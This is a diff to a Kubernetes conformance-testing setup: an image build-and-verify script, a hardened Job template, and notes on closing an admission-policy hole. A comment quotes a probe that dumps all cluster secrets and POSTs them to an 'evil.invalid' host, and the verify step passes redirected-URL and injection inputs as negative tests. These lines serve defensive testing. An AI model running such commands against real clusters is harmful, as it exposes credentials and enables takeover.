+   not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** —
+   the suite runs at the commit under test or not at all. The read-only Gitea credential
+   reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys
+   `username`/`token`), never as a volume: admission allows no volume but `workspace` and
+   `results`.
+4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
+   `coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
+5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
+   stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI
+   decodes it from `kubectl logs` and must make all five completeness checks listed above
+   `conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
+   of decoding to plausible garbage.
+
+## Prerequisites before this Job can run at all
+- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and
+  `token`: a **read-only** Gitea token for this repository. Never a write token or a
+  push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6).
+- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge
+  before this template is usable; its digest is what the trigger substitutes. Contract the
+  image MUST meet, because the Job and the admission policy both depend on it:
+  - bash, git, python3, chainsaw and kubectl on `PATH`;
+  - a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different
+    uid in the Containerfile means the Job will not start;
+  - `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**,
+    mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins
+    that exact path, so an image without it cannot run the clone step and no other path will
+    be admitted.
 
 ## Phase 0
 No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux

conformance/incluster/build-image.sh

@@ -0,0 +1,229 @@
+#!/usr/bin/env bash
+###############################################################################
+# conformance/incluster/build-image.sh — build the pinned `conformance-runner`
+# image and print its digest. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
+#
+#   ./build-image.sh                 # build + verify + print the digest and push command
+#   ./build-image.sh --no-verify     # build only (skip the in-image tool proof)
+#   ./build-image.sh --verify-clone  # ALSO really clone this repo with conformance-clone.
+#                                    #   Opt-in because it needs the Gitea host reachable; the
+#                                    #   default verify is offline so an air-gapped build is
+#                                    #   still fully checked rather than half-checked.
+#   ENGINE=docker ./build-image.sh   # build with docker instead of podman
+#
+# THIS SCRIPT NEVER PUSHES. Publishing is an operator action: the registry credential is
+# not an agent's to hold, and the pushed digest is what a fail-closed admission policy
+# then trusts. So this builds locally, proves the toolchain works INSIDE the image as the
+# non-root uid the policy demands, and prints the exact `podman push` line for a human.
+#
+# VERSIONS ARE NOT DEFINED HERE. They are read from infra/devcontainer/versions.env, the
+# single source of truth (CHAINSAW_VERSION, KUBECTL_VERSION, FEDORA_VERSION) — the same
+# pins the toolbox gate runs with. Nothing in this file invents a version.
+#
+# THE DIGEST CAVEAT — read it before pasting a digest into anything.
+# The digest printed here is the LOCAL manifest digest. It is normally identical to the
+# registry digest (podman pushes the manifest it already has rather than recompressing),
+# but that is a property of the push, not a guarantee. So the push command below uses
+# `--digestfile`: the digest the registry actually returns is the authoritative one, and
+# that is the one that goes into conformance/versions.env.
+###############################################################################
+set -euo pipefail
+
+HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+REPO_ROOT="$(cd "${HERE}/../.." && pwd)"
+ENGINE="${ENGINE:-podman}"
+
+VERIFY=1
+VERIFY_CLONE=0
+for arg in "$@"; do
+  case "$arg" in
+    --no-verify) VERIFY=0 ;;
+    --verify-clone) VERIFY_CLONE=1 ;;
+    -h|--help) sed -n '2,/^####/p' "${BASH_SOURCE[0]}" | sed '$d' | sed 's/^# \{0,1\}//'; exit 0 ;;
+    *) echo "unknown argument: $arg" >&2; exit 2 ;;
+  esac
+done
+
+log()  { printf '\n\033[1m==> %s\033[0m\n' "$*"; }
+info() { printf '    %s\n' "$*"; }
+die()  { printf '\033[31mERROR: %s\033[0m\n' "$*" >&2; exit 1; }
+
+command -v "${ENGINE}" >/dev/null 2>&1 || die "'${ENGINE}' not on PATH (set ENGINE=docker to use docker)"
+
+# --- pins: sourced, never invented -------------------------------------------
+TOOLCHAIN_ENV="${REPO_ROOT}/infra/devcontainer/versions.env"
+[ -f "${TOOLCHAIN_ENV}" ] || die "missing ${TOOLCHAIN_ENV} — the pins live there, not here"
+# shellcheck disable=SC1090
+source "${TOOLCHAIN_ENV}"
+: "${CHAINSAW_VERSION:?CHAINSAW_VERSION not set in ${TOOLCHAIN_ENV}}"
+: "${KUBECTL_VERSION:?KUBECTL_VERSION not set in ${TOOLCHAIN_ENV}}"
+: "${FEDORA_VERSION:?FEDORA_VERSION not set in ${TOOLCHAIN_ENV}}"
+
+# --- image name: fixed by the admission policy -------------------------------
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml admits ONLY
+# gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*. The repository path
+# is therefore not a preference; a different path is a DENIED Job. Do not "improve" it here.
+IMAGE_REPO="gitea.home.keithjackson.dev/home-network/conformance-runner"
+# The tag is build convenience only (a human-readable handle for the push). Admission
+# ignores it: only the digest is ever referenced from a Job.
+IMAGE_TAG="chainsaw${CHAINSAW_VERSION}-kubectl${KUBECTL_VERSION}-fc${FEDORA_VERSION}"
+IMAGE_REF="${IMAGE_REPO}:${IMAGE_TAG}"
+
+log "Building ${IMAGE_REF}"
+info "engine            ${ENGINE} ($(${ENGINE} --version 2>/dev/null | head -1))"
+info "pins from         ${TOOLCHAIN_ENV}"
+info "  CHAINSAW        ${CHAINSAW_VERSION}"
+info "  KUBECTL         ${KUBECTL_VERSION}"
+info "  FEDORA          ${FEDORA_VERSION}"
+
+"${ENGINE}" build \
+  --file "${HERE}/Containerfile" \
+  --tag "${IMAGE_REF}" \
+  --build-arg "CHAINSAW_VERSION=${CHAINSAW_VERSION}" \
+  --build-arg "KUBECTL_VERSION=${KUBECTL_VERSION}" \
+  --build-arg "FEDORA_VERSION=${FEDORA_VERSION}" \
+  "${HERE}"
+
+# --- verify: the point of the whole exercise ---------------------------------
+# The stock chainsaw image "had" chainsaw and still could not run ./run.sh. So prove the
+# tools EXECUTE, and prove they execute as the NON-ROOT uid with a READ-ONLY root
+# filesystem — the shape the admission policy forces. A pass here is the only evidence
+# this image is usable; a build that merely succeeded is not.
+if [ "${VERIFY}" -eq 1 ]; then
+  log "Verifying the toolchain inside the image (non-root, read-only rootfs)"
+  "${ENGINE}" run --rm \
+    --user 65532:65532 \
+    --read-only \
+    --tmpfs /workspace:rw,mode=1777 \
+    --entrypoint "" \
+    "${IMAGE_REF}" \
+    /bin/bash -euo pipefail -c '
+      echo "--- id ---";             id
+      echo "--- HOME ---";           echo "HOME=${HOME}"
+      echo "--- bash ---";           bash --version | head -1
+      echo "--- python3 ---";        python3 --version
+      echo "--- git ---";            git --version
+      echo "--- kubectl ---";        kubectl version --client
+      echo "--- chainsaw ---";       chainsaw version
+      echo "--- baked versions ---"; cat /etc/conformance-runner-versions
+      echo "--- conformance-clone: fixed path, root-owned, NOT writable by the runner ---"
+      stat -c "%n %U:%G %a" /usr/local/bin/conformance-clone
+      if [ -w /usr/local/bin/conformance-clone ]; then
+        echo "UNEXPECTED: uid $(id -u) can write the one executable the policy will trust"; exit 1
+      fi
+      echo "confirmed: not writable by uid $(id -u)"
+      # Each of these MUST fail. Assert the non-zero exit as well as the message: a check
+      # that only greps stderr would pass a build where the guard had stopped rejecting.
+      # (`|| true` inside the capture keeps `set -e`/`pipefail` from aborting on the
+      # expected failure — without it the verify dies at the first negative case.)
+      expect_fail() {
+        local label="$1"; shift
+        local out rc=0
+        out="$(env "$@" 2>&1)" || rc=$?
+        echo "--- ${label} ---"
+        printf "%s\n" "${out}" | head -2
+        if [ "${rc}" -eq 0 ]; then
+          echo "UNEXPECTED: that should have failed, but it exited 0"; exit 1
+        fi
+        echo "(rejected, exit ${rc})"
+      }
+      expect_fail "conformance-clone rejects arguments (that is where an injection would live)" \
+        conformance-clone --layer l2
+      expect_fail "conformance-clone rejects a missing SHA" \
+        conformance-clone
+      expect_fail "conformance-clone rejects a branch name instead of a SHA (no silent run of the tip)" \
+        CONFORMANCE_GIT_SHA=main conformance-clone
+      expect_fail "conformance-clone rejects an UNRENDERED placeholder" \
+        CONFORMANCE_GIT_SHA=@@CONFORMANCE_GIT_SHA@@ conformance-clone
+      expect_fail "conformance-clone rejects a HOME off the workspace volume" \
+        CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
+        HOME=/etc conformance-clone
+      expect_fail "conformance-clone refuses a REDIRECTED repository URL (the env-injection hole)" \
+        CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
+        CONFORMANCE_REPO_URL=https://evil.invalid/x.git conformance-clone
+      expect_fail "conformance-clone refuses a clone target off the workspace volume" \
+        CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
+        CONFORMANCE_SRC=/etc/src conformance-clone
+      echo "--- rootfs is read-only (expected: a failure) ---"
+      if touch /should-fail 2>/dev/null; then echo "UNEXPECTED: rootfs is writable"; exit 1; fi
+      echo "confirmed: / is read-only"
+      echo "--- HOME is writable (the workspace emptyDir) ---"
+      touch "${HOME}/.probe" && echo "confirmed: ${HOME} is writable"
+      echo "--- uid is non-zero ---"
+      [ "$(id -u)" -ne 0 ] && echo "confirmed: running as uid $(id -u), not root"
+    '
+  log "Toolchain verified"
+fi
+
+# --- verify the clone helper against the REAL repository (opt-in: needs network) ----
+# The negative cases above prove conformance-clone refuses bad input. This proves the
+# positive case: it lands the EXACT commit asked for and can prove it did. Without this, the
+# rev-parse assertion is only an unexercised line of shell.
+if [ "${VERIFY_CLONE}" -eq 1 ]; then
+  log "Verifying conformance-clone against the real repository"
+  SHA="$(git -C "${REPO_ROOT}" rev-parse HEAD)"
+  info "requesting commit ${SHA}"
+  "${ENGINE}" run --rm \
+    --user 65532:65532 \
+    --read-only \
+    --tmpfs /workspace:rw,mode=1777 \
+    --network host \
+    --entrypoint "" \
+    -e "CONFORMANCE_GIT_SHA=${SHA}" \
+    "${IMAGE_REF}" \
+    /bin/bash -euo pipefail -c '
+      conformance-clone
+      echo "--- assert rev-parse HEAD == the requested SHA ---"
+      got="$(git -C /workspace/src rev-parse HEAD)"
+      echo "requested: ${CONFORMANCE_GIT_SHA}"
+      echo "HEAD:      ${got}"
+      [ "${got}" = "${CONFORMANCE_GIT_SHA}" ] || { echo "MISMATCH"; exit 1; }
+      echo "confirmed: the working tree is at the requested commit"
+      test -x /workspace/src/conformance/run.sh && echo "confirmed: run.sh present and executable"
+    '
+  log "conformance-clone verified against the real repository"
+fi
+
+# --- digest ------------------------------------------------------------------
+DIGEST="$("${ENGINE}" image inspect --format '{{.Digest}}' "${IMAGE_REF}")"
+IMAGE_ID="$("${ENGINE}" image inspect --format '{{.Id}}' "${IMAGE_REF}")"
+SIZE="$("${ENGINE}" image inspect --format '{{.Size}}' "${IMAGE_REF}")"
+
+log "Built ${IMAGE_REF}"
+info "local manifest digest  ${DIGEST}"
+info "image id               ${IMAGE_ID}"
+info "size                   $(( SIZE / 1024 / 1024 )) MiB"
+
+cat <<EOF
+
+================================================================================
+NOT PUSHED. Publishing is an operator action — this script holds no registry
+credential and will never acquire one.
+
+OPERATOR: run these two commands, then paste the digest from the digestfile into
+conformance/versions.env (CONFORMANCE_RUNNER_IMAGE) via a PR:
+
+    ${ENGINE} login gitea.home.keithjackson.dev
+
+    ${ENGINE} push --digestfile /tmp/conformance-runner.digest \\
+      ${IMAGE_REF}
+
+Then:
+
+    cat /tmp/conformance-runner.digest
+    # -> sha256:....  THIS is the authoritative digest, not the local one above.
+
+    # conformance/versions.env
+    CONFORMANCE_RUNNER_IMAGE="${IMAGE_REPO}@\$(cat /tmp/conformance-runner.digest)"
+
+WHY THE DIGEST AND NOT THE TAG: platform/kyverno/admission/conformance-trigger-job-shape.yaml
+is a fail-closed Enforce policy. It DENIES any conformance-trigger Job whose image is not
+${IMAGE_REPO}@sha256:<digest>. A tag reference is denied,
+and so is any other repository path.
+
+TIGHTEN THE BOUNDARY AFTERWARDS: that policy's header asks for the wildcard
+\`${IMAGE_REPO}@sha256:*\` to be replaced with the
+LITERAL digest once the image exists, closing the "anyone who can push to this path" gap.
+That is a separate, human-reviewed PR against the security boundary.
+================================================================================
+EOF

conformance/incluster/chainsaw-job.yaml

@@ -1,23 +1,175 @@
 # =============================================================================
-# In-cluster Chainsaw conformance Job — SKELETON (ADR-0011; docs/14)
+# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14)
+# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
 #
-# CI (Gitea Actions, T-6.1b) TRIGGERS this Job and waits for it; CI holds NO
-# cluster credentials. The Job runs L1/L2/L3 under the scoped `conformance-runner`
-# ServiceAccount (rbac.yaml), writes JUnit + coverage to a results location that
-# CI collects, and enforces the merge / phase-exit gate on the outcome.
+# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a
+# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would
+# create a permanent Job object and fight the trigger for ownership.
 #
-# Two invocation shapes (CI sets args):
-#   * MERGE GATE:  ./run.sh --requirements <touched R-IDs>   (subset)
-#   * PHASE EXIT:  ./run.sh --layer all                      (full suite)
+# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig —
+# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log).
+# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave
+# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel.
 #
-# Results artifact mechanism (delegated to WS-TEST by docs/14 open items):
-#   Chosen = a shared results emptyDir + a terminating log stream, with an
-#   OPTIONAL results PVC for durability across CI collection. For Phase 0 there is
-#   no cluster; this manifest is reconciled by Flux from Phase 1+ and exercised
-#   once L2/L3 can run. CI collects `report.junit.xml` + `coverage/` from the
-#   results volume (or scrapes the pod log, which echoes their paths).
+# -----------------------------------------------------------------------------
+# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY
+# -----------------------------------------------------------------------------
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
+# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits
+# ONLY: exactly one container on a digest-pinned conformance-runner image,
+# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from
+# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no
+# host namespaces, non-root with privilege escalation off, and — the constraint that
+# shapes everything below — NO VOLUMES BUT `workspace` AND `results`.
 #
-# NOT applied in Phase 0 (no cluster). Image tag pinned to versions.env CHAINSAW_IMAGE.
+# So the git credential CANNOT be a projected/secret volume, and the init container
+# cannot have a scratch volume of its own. Both are solved inside the two allowed names:
+#   * the credential arrives as env vars via secretKeyRef (an env var is not a volume),
+#     BY SECRET NAME ONLY — no token literal ever appears in this file;
+#   * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so
+#     readOnlyRootFilesystem stays true without a third volume and without subPath
+#     mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable
+#     by the non-root runner).
+#
+# Verify before changing anything here:
+#   kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
+#     --resource <rendered job> \
+#     --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml
+# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in
+# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
+#
+# -----------------------------------------------------------------------------
+# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29)
+# -----------------------------------------------------------------------------
+# As originally written, the policy read only `spec.template.spec.containers` (rule 1's
+# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was
+# never examined, so the exact escalation the policy exists to stop was reachable one
+# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully
+# compliant:
+#
+#   * this template with ONLY the init container's args replaced by
+#     `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
+#   * and (the coordinator's independent reproduction) a `privileged: true`
+#     `docker.io/library/alpine:latest` init container running `kubectl get secrets -A`
+#
+#   ->  pass: 3, fail: 0, warn: 0, error: 0, skip: 0        # BOTH ADMITTED
+#
+# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
+#
+# Closed by new rules in that policy, authorised by the coordinator in this PR
+# (the original brief forbade policy edits; that was to stop the boundary being BENT to
+# fit a Job, not to stop a hole being closed):
+#   * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init
+#     container, on the digest-pinned runner image, `command:
+#     ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation,
+#     not privileged. The clone logic moved OUT of this manifest and into the image for
+#     exactly this reason: a policy cannot vet a shell script passed as `args`, so the
+#     script had to stop being caller-supplied data. It stays reviewable as
+#     conformance/incluster/conformance-clone.
+#   * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same
+#     unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not
+#     verified here, and the rule costs nothing if it is true.
+#   * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env`
+#     was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable
+#     the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash
+#     sources it before running a non-interactive script. Names are allowlisted per container;
+#     VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately
+#     environment-specific, and conformance-runner can already read this namespace's Secrets
+#     through its own RBAC, so pinning the source would buy nothing).
+#
+# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ —
+# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`,
+# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`,
+# `envfrom-whole-secret` — so they stay failing.
+#
+# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the
+# committed shape" policy is only as good as its enumeration of every field that can carry
+# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and
+# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none
+# does, that is the finding, not an oversight to work around.
+#
+# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed
+# on a mismatch rather than honoured) for exactly this reason. Do not move it into env.
+#
+# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
+# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
+#
+# -----------------------------------------------------------------------------
+# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
+# -----------------------------------------------------------------------------
+# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by
+# `envsubst`, which has no way to tell a token meant for rendering from a shell reference
+# that belongs to a script — a trap this file walked into while the clone logic was still an
+# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a
+# rendered manifest is trivially greppable as "the trigger forgot to render this". Render
+# with a two-token sed, nothing cleverer:
+#
+#   sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
+#       -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
+#
+#   @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@  the 64-hex digest of the pinned runner image.
+#         Only the DIGEST is substituted — the registry path and the `@sha256:` pinning
+#         are committed literals, so the substitution cannot repoint the image at another
+#         repository, and the template still satisfies the policy's image pattern before
+#         rendering. An unsubstituted digest fails as ImagePullBackOff, loudly.
+#   @@CONFORMANCE_GIT_SHA@@             the 40-hex commit under test. The init container
+#         REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
+#         or an injected value is a hard failure, never a run of the wrong tree.
+#
+# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per
+# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this
+# file be handed to `kyverno apply` as-is.
+#
+# -----------------------------------------------------------------------------
+# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3
+# -----------------------------------------------------------------------------
+# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT
+# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a
+# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not
+# offline-only, and those stages need exactly those missing tools. Tracing run.sh:
+#
+#   requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all;
+#   offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/.
+#
+# so:
+#   ["--layer","l2,l3"]                                        -> offline selection EMPTY. RUNS.
+#   ["--layer","l2,l3","--requirements","R-NET-01"]             -> intersected to L2/L3. RUNS.
+#   ["--layer","l2,l3","--include-scope","whole-repo"]          -> scope union is ALSO
+#         layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS.
+#   ["--requirements","R-NET-01"]        (no --layer, so LAYER=all) -> unbounded: pulls that
+#         requirement's L0/L1 tests into the run. FAILS on the missing toolchain.
+#   ["--layer","all","--strict-coverage"]                       -> every L0/L1 test. FAILS.
+#
+# The first three are measured working by the image build (PR #18); the last two are measured
+# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a
+# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone.
+# The committed default below is the narrowest shape that works.
+#
+# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a
+# security boundary should not encode which toolchain an image happens to ship, and the failure
+# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This
+# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land.
+#
+# -----------------------------------------------------------------------------
+# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
+# -----------------------------------------------------------------------------
+# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the
+# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when
+# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints:
+#
+#   === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#   <base64 of the tgz, wrapped at 76 columns>
+#   === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#
+# The BEGIN and END headers are byte-identical and both carry the size, the base64 line
+# count and the sha256. A collector that checks all four (one BEGIN, one END, headers
+# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a
+# complete artifact set — which a bare blob would, because base64 decodes a truncated
+# stream to plausible garbage without complaint. See the block comment above
+# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations.
+#
+# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the
+# transport is the pod's log, so the Job must finish while that log still exists.
 # =============================================================================
 apiVersion: batch/v1
 kind: Job
@@ -28,7 +180,10 @@ metadata:
     app.kubernetes.io/part-of: conformance
 spec:
   backoffLimit: 0            # deterministic: a failed conformance run is a failure, no retry
+  # A retry would also re-emit the artifact envelope, giving the collector two BEGIN
+  # markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true.
   ttlSecondsAfterFinished: 3600
+  activeDeadlineSeconds: 5400   # L3 fault injection is slow; a hung run must not hold the gate
   template:
     metadata:
       labels:
@@ -37,38 +192,118 @@ spec:
       serviceAccountName: conformance-runner    # scoped test identity (rbac.yaml)
       restartPolicy: Never
       securityContext:
+        # runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true`
+        # alone only *rejects* a root image, it does not choose a uid, and the runner image
+        # is built by a separate task (plan §5 step 1). 65532 is the conventional
+        # distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both
+        # emptyDirs group-writable for that uid.
         runAsNonRoot: true
+        runAsUser: 65532
+        runAsGroup: 65532
+        fsGroup: 65532
         seccompProfile: { type: RuntimeDefault }
-      containers:
-        - name: chainsaw
-          # PIN to versions.env CHAINSAW_IMAGE (ghcr.io/kyverno/chainsaw:v0.2.12).
-          image: ghcr.io/kyverno/chainsaw:v0.2.12
-          workingDir: /workspace/conformance
-          # The suite repo is delivered into /workspace (git clone init-container or
-          # a Flux-populated volume). run.sh is the single entrypoint (identical to local).
-          command: ["./run.sh"]
-          # CI overrides args per invocation shape:
-          #   ["--requirements", "R-NET-01,R-NET-06"]   (merge gate) OR
-          #   ["--layer", "all", "--strict-coverage"]   (phase exit)
-          args: ["--layer", "all", "--strict-coverage"]
+      initContainers:
+        # ---------------------------------------------------------------------
+        # Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
+        #
+        # NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at
+        # conformance/incluster/conformance-clone and is baked into the runner image at
+        # /usr/local/bin/conformance-clone. That is what makes the init container
+        # ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` +
+        # `args: [<script>]`, no admission policy could distinguish the committed script
+        # from an attacker's — both are just `args` on a shell, and a Job with a privileged
+        # alpine init container running `kubectl get secrets -A` was ADMITTED (measured
+        # 2026-09-29). Rule `trigger-initcontainers-must-be-the-committed-clone-step` now
+        # pins this container to that one path with NO args, so it carries no
+        # caller-supplied code. Read that entrypoint for the clone/fetch/assert logic
+        # and for why the repository URL is hardcoded THERE rather than passed in env.
+        #
+        # Only the commit SHA is caller-supplied, and the entrypoint refuses anything that
+        # is not 40 hex characters before it touches the network.
+        # ---------------------------------------------------------------------
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
+          command: ["/usr/local/bin/conformance-clone"]
           env:
-            - name: CONF_ROOT
-              value: /workspace/conformance
+            - name: CONFORMANCE_GIT_SHA
+              value: "@@CONFORMANCE_GIT_SHA@@"
+            # BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
+            # READ-ONLY Gitea token with read access to this one repository — never a write
+            # token, never a deploy key with push. Keys: `username`, `token`.
+            # An env var is not a volume, which is how this coexists with the admission
+            # policy's workspace/results-only rule.
+            - name: GITEA_USERNAME
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: username }
+            - name: GITEA_TOKEN
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: token }
+            # Writable scratch + HOME on the workspace emptyDir, so the root filesystem
+            # stays read-only and no third volume is needed.
+            - name: TMPDIR
+              value: /workspace/tmp
+            - name: HOME
+              value: /workspace/home
           volumeMounts:
             - { name: workspace, mountPath: /workspace }
-            - { name: results, mountPath: /workspace/conformance/_artifacts }
           securityContext:
             allowPrivilegeEscalation: false
             readOnlyRootFilesystem: true
             capabilities: { drop: ["ALL"] }
             runAsNonRoot: true
+          resources:
+            requests: { cpu: 100m, memory: 128Mi }
+            limits: { cpu: "1", memory: 512Mi }
+      containers:
+        - name: chainsaw
+          # Digest-pinned under the conformance repository path — the admission policy
+          # rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION
+          # (+ kubectl, git, python3, bash); see plan §5 step 1.
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
+          workingDir: /workspace/src/conformance
+          # PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact
+          # envelope is emitted by run.sh itself rather than by a shell one-liner here.
+          command: ["./run.sh"]
+          # Replaced wholesale by the trigger per invocation shape (see the header).
+          # `--layer l2,l3` and NOT `--layer all`: see the WHICH ARGS ACTUALLY RUN block.
+          args: ["--layer", "l2,l3"]
+          env:
+            # run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
+            # artifact tree onto the `results` volume. It cannot live at its default
+            # conformance/_artifacts, because a volume mounted inside the clone target
+            # would make that directory non-empty and `git clone` would refuse it.
+            - name: CONF_ARTIFACTS
+              value: /results
+            # THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a
+            # base64 tar over an operator's terminal.
+            - name: CONF_EMIT_ARTIFACTS_TGZ
+              value: "1"
+            - name: TMPDIR
+              value: /workspace/tmp
+            - name: HOME
+              value: /workspace/home
+          volumeMounts:
+            - { name: workspace, mountPath: /workspace }
+            - { name: results, mountPath: /results }
+          securityContext:
+            allowPrivilegeEscalation: false
+            readOnlyRootFilesystem: true
+            capabilities: { drop: ["ALL"] }
+            runAsNonRoot: true
+          # L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and
+          # config/chainsaw-config.yaml); the limits bound the blast radius on a homelab
+          # node without starving the suite.
+          resources:
+            requests: { cpu: 250m, memory: 512Mi }
+            limits: { cpu: "2", memory: 2Gi }
       volumes:
-        # Suite source: populated by an init-container git clone of the impl repo at
-        # the commit under test, OR a Flux-synced source volume. (Init container
-        # omitted from this skeleton; wire in T-6.1b.)
+        # ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third.
+        # Suite source, written by the init container: /workspace/src is the checkout,
+        # /workspace/tmp is $TMPDIR, /workspace/home is $HOME.
         - name: workspace
           emptyDir: {}
-        # Results: CI collects report.junit.xml + coverage/ from here. Swap emptyDir
-        # for a results PVC if durability beyond pod lifetime is required.
+        # Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope
+        # carries; an emptyDir is sufficient because the transport is the log, not the
+        # volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4).
         - name: results
           emptyDir: {}

conformance/incluster/conformance-clone

@@ -0,0 +1,138 @@
+#!/usr/bin/env bash
+###############################################################################
+# conformance-clone — fetch the impl repo at the exact commit under test.
+#
+# Baked into the conformance-runner image at /usr/local/bin/conformance-clone, mode 0755
